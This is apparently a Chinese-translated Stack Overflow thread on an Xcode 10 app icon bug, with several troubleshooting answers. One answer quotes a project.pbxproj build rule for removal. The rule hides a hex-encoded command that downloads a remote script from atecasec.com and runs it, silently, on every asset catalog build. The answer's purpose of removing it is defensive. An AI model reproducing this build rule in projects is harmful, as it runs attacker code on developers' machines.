Xcode 10 应用图标未显示。

44

最近更新了Xcode 10 beta,但之前在Xcode 9.4上构建并在设备上运行时,应用程序的图标正确显示,而现在在Xcode 10中运行时显示默认的空白图标。

输入图片描述

打开AppIcon资源文件后,在所有占位符中正确显示图标,没有任何警告图标。 点击新的“显示切片”时,什么也没有显示出来。

请问有人知道如何修复这个问题,使应用程序图标显示正常吗?


1
这确实是 Xcode 10 第一个 beta 版本的一个 bug。在第二个 beta 版本中,这个问题已经被解决了。 - Brezentrager
@Brezentrager 如果是这种情况,请发布为答案,我会标记为解决方案。 - Vlad
Xcode 12.5仍存在问题。 - bhaller
这个问题在 Xcode 13 beta 中也存在。重启测试设备解决了我的问题。 - Bob Wakefield
通过从Xcode运行安装应用程序,然后重新启动已安装应用程序的设备确实会在设备上显示图标。但是,如果您再次从Xcode运行它(例如因为您进行了代码更改),则会将图标替换为默认图标。 - Etep
显示剩余2条评论
18个回答

1
在我的情况下,Xcode使用了“使用资源目录”作为应用程序图标源。要查看它,您可以转到项目 ->常规 ->应用程序图标源。
为了修复它,我选择了“迁移”并创建了一个新的资源目录。当我这样做时,最旧的资源目录在应用程序图标中收到了警告。因此,我再次将图标上传到这个最老的目录中,并删除了临时目录。
应用程序图标源返回显示“AppIcon”,它就正常工作了。

1
对我来说,解决办法是删除资产文件夹中的AppIcon文件,然后再次添加它(这也意味着重新添加图像)。我不知道为什么,但这对我有用。

0

我在更改资源目录后遇到了这个问题。我相信解决它的方法是选择AppIcon资源,然后选择和取消选择主应用程序目标的目标成员资格。这是在Xcode 10上完成的。


0

您可以通过以下3个步骤解决此问题。

  1. 在yourprojectname.xcodeproj文件中单击“显示包内容”。 enter image description here

  2. 单击“在project.pbxproj文件中打开”。 enter image description here

  3. 查找并删除这些行

/ 开始 PBXBuildRule 部分 / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode 图像资源编译器\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / 结束 PBXBuildRule 部分 /

enter image description here


0

我遇到了这个问题,我只是删除了应用程序并发送了一个新的构建,然后它就可以工作了... 没有什么疯狂的。


你的回答可以通过提供更多支持信息来改进。请编辑以添加进一步的细节,例如引用或文档,以便他人可以确认你的答案是正确的。您可以在帮助中心中找到有关如何编写良好答案的更多信息。 - Community

0

我不小心从 Xcode 中删除了 Images.xcassets 文件夹。我已将该文件夹从回收站中恢复,但应用程序图标和启动画面都没有显示。经过五个小时的搜索,我刚刚将该文件夹拖到了 Xcode 中,现在一切正常。


-1
请确保在“应用程序图标和启动画面”下,“应用程序图标源”已选择您的应用程序图标。有时,您的应用程序图标可能会在Assets.xcassets文件夹中被命名为“AppIcon-1”之类的名称。

我已经尝试过这个并检查了我的目标所选的资源目录,一切都是正确的。试图来回更新它,但这并没有解决问题。 - Vlad
我一整天都在尝试解决这个完全相同的问题,但是一直没有成功。在更新到xCode 10 beta之前,一切都正常:(所有AppIcon资源都按照应该添加的位置和方式添加了,并且AppIcon源正确引用了此资源集。一切也都正确地添加到目标中...但是在我的真实设备的主屏幕上,应用程序图标仍然显示为空白(默认)。希望很快能找到解决方案!这让我很困扰lol。 - Justin
3
我认为这与 Xcode 10 Beta 有关,因为我既安装了 Xcode 9.4 又安装了 Xcode 10 beta,使用 9.4 没问题,Beta 是一种测试模式,也许他们会修复它。 - Jonas
1
向苹果公司提交了“40507731”的雷达,并得到回复“重复”,因此看来这是Xcode 10测试版的问题,目前还没有找到任何解决方法。 - Vlad

-1
正如makkuzu在这里的评论中建议的那样,我的捆绑标识符包含大写字母。我将它改为全小写,然后神奇地,应用程序图标立即显示出来,无需其他操作。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接